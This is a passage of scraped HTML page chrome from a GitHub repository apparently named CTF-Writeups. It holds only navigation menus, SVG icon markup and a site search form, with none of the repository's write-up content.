.5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="198331347" data-scoped-search-url="/fg0x0/CTF-Writeups/search" data-owner-scoped-search-url="/users/fg0x0/search" data-unscoped-search-url="/search" data-turbo="false" action="/fg0x0/CTF-Writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="Q3T42jEfwI60+WYGtzNVOSOTFUzDnV4MC207p9TVXhO2rvgCq9IEFjMZ2tjcYiet9DSH05xKeH2PqnJFJYmAxA==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 